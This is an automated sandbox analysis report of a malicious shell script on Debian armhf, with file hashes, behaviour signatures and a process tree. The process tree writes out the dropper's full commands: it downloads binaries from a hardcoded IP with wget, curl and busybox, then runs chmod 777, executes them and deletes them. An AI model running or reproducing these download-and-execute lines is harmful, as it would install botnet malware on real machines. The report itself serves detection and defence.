Analysis

  • max time kernel
    7s
  • max time network
    34s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/10/2024, 01:26

General

  • Target

    c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh

  • Size

    10KB

  • MD5

    8e383752ec72afba2c859b318be45d80

  • SHA1

    406891ba5abdc3f69ab4637a118e82d5329231be

  • SHA256

    c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45

  • SHA512

    5b50cd38698c517840cddfe2cc6d2c67d8a2591222a28b66027ede92045d8608c70ba1692fa072a90ab7d0a6e4d4bc757128a3aed20ed3644b91ecc3de124232

  • SSDEEP

    192:WXvUAsXNGHa2JwIYDVpmqOe4qS5na2JwI5qOe4qS7aXvUAsXi:WXvUDXNGHa2JwIYDVpmqOBqS5na2JwI+

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh
    /tmp/c609f35661e4eda240799ff7c06f4b1ba1ab48891ad84e5f9acdcfab7ff0cf45.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://87.120.84.230/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
          2⤵
            PID:668
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:682
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
            2⤵
              PID:689
            • /bin/chmod
              chmod 777 abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              2⤵
              • File and Directory Permissions Modification
              PID:692
            • /tmp/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              ./abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              2⤵
              • Executes dropped EXE
              PID:693
            • /bin/rm
              rm abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a
              2⤵
                PID:694
              • /usr/bin/wget
                wget http://87.120.84.230/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                2⤵
                  PID:695
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:696
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                  2⤵
                    PID:699
                  • /bin/chmod
                    chmod 777 MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    2⤵
                    • File and Directory Permissions Modification
                    PID:704
                  • /tmp/MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    ./MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    2⤵
                    • Executes dropped EXE
                    PID:705
                  • /bin/rm
                    rm MDdj7cLxgWQM7z5GA44BUmRNEm8BrPbxux
                    2⤵
                      PID:707
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                      2⤵
                        PID:708
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:714
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                        2⤵
                          PID:720
                        • /bin/chmod
                          chmod 777 xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          2⤵
                          • File and Directory Permissions Modification
                          PID:726
                        • /tmp/xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          ./xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          2⤵
                          • Executes dropped EXE
                          PID:727
                        • /bin/rm
                          rm xTM3nZ4ZFxFdtvhc8CYbWBRHjGteR2ZEZC
                          2⤵
                            PID:728
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                            2⤵
                              PID:730
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:736
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                              2⤵
                                PID:743
                              • /bin/chmod
                                chmod 777 mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                2⤵
                                • File and Directory Permissions Modification
                                PID:750
                              • /tmp/mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                ./mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                2⤵
                                • Executes dropped EXE
                                PID:752
                              • /bin/rm
                                rm mMygXGib6v4yTAJ7QY1yzl9hQ0PYv76O9e
                                2⤵
                                  PID:753
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                  2⤵
                                    PID:754
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/XjHekC2k4HVlHihwcWZ1n3dq1hgzdFQ8hp
                                    2⤵
                                      PID:760

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/abDE33kAXFagig5B7HnpBL7GpRUkCmtz0a

                                    Filesize

                                    153B

                                    MD5

                                    998368d7c95ea4293237f2320546e440

                                    SHA1

                                    30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                    SHA256

                                    533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                    SHA512

                                    648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97